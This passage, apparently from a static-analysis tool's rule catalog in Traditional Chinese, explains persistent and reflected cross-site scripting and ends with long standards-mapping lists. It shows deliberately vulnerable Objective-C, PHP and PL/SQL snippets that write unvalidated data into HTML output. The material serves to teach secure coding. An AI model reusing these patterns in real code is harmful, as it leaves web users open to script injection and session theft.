[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.kotlin.cross_site_scripting_persistent
Abstract
這個方法會傳送未經驗證的資料到網路瀏覽器會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1. 資料從一個不可信賴的來源進入網頁。在 Persistent XSS (也可稱為 Stored XSS) 案例中,不可信賴的來源通常為資料庫或其他後端資料儲存區,而在 Reflected XSS 案例中,來源通常為使用者元件、URL 架構處理常式或外部通知。


2. 在未對包含資料的動態內容進行驗證的情況下,便將其傳送至某個 UIWebView 元件。


傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

name 值正常運作時,此程式碼也會正常運作,但如果該值不正常運作時,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

範例 2:以下 Objective-C 程式碼片段會讀取自訂 URL 架構的文字部份,其會被傳送至應用程式 (myapp://input_to_the_application) 並呼叫之。然後 URL 中不可信賴的資料便會被用來在 UIWebView 元件中攻擊 HTML 輸出。


...
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {

UIWebView *webView;
NSString *partAfterSlashSlash = [[url host] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
webView = [[UIWebView alloc] initWithFrame:CGRectMake(0.0,0.0,360.0, 480.0)];
[webView loadHTMLString:partAfterSlashSlash baseURL:nil]

...


如同範例中所示,XSS 的弱點是由 HTTP 內容中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 如 Example 2 所述,會直接從自訂 URL 架構讀取資料,並反映於 UIWebView 回應內容中。當攻擊者誘使使用者提供危險內容給易受攻擊的 iOS 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的自訂架構 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊應用程式的 URL。應用程式將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含工作階段資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.objc.cross_site_scripting_persistent
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Persistent XSS (也可稱為 Stored XSS) 案例中,不可信賴的來源通常為資料庫或其他後端資料儲存區,而在 Reflected XSS 案例中,來源通常為網頁要求。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的 PHP 程式碼片段,根據提供的員工識別碼來查詢資料庫,並列印出該員工的相應姓名。


<?php...
$con = mysql_connect($server,$user,$password);
...
$result = mysql_query("select * from emp where id="+eid);
$row = mysql_fetch_array($result)
echo 'Employee name: ', mysql_result($row,0,'name');
...
?>
name 值正常運作時,此程式碼也會正常運作,但如果該值不正常運作時,則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險,是因為 name 值是從資料庫中讀取的,且顯然是由應用程式管理這些值的內容。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

範例 2:以下 PHP 程式碼片段會從 HTTP 要求中讀取員工 ID eid,並將 ID 顯示給使用者。


<?php
$eid = $_GET['eid'];
...
?>
...
<?php
echo "Employee ID: $eid";
?>


Example 1 所述,如果 eid 只包含標準英數字元,這個程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 如 Example 2 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.php.cross_site_scripting_persistent
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Persistent XSS (也可稱為 Stored XSS) 案例中,不可信賴的來源通常為資料庫或其他後端資料儲存區,而在 Reflected XSS 案例中,來源通常為網頁要求。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下程式碼片段會在資料庫中查詢具有指定識別碼的員工,並列印相應的員工姓名。


...
SELECT ename INTO name FROM emp WHERE id = eid;
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee Name: ' || name || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
name 值正常運作時,此程式碼也會正常運作,但如果該值不正常運作時,則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險,是因為 name 值是從資料庫中讀取的,且顯然是由應用程式管理這些值的內容。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

範例 2:以下程式碼片段會從 HTTP 要求中讀取員工識別碼 eid,並向使用者顯示。


...
-- Assume QUERY_STRING looks like EID=EmployeeID
eid := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 5);
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee ID: ' || eid || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...


Example 1 所述,如果 eid 只包含標準英數字元,這個程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 如 Example 2 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
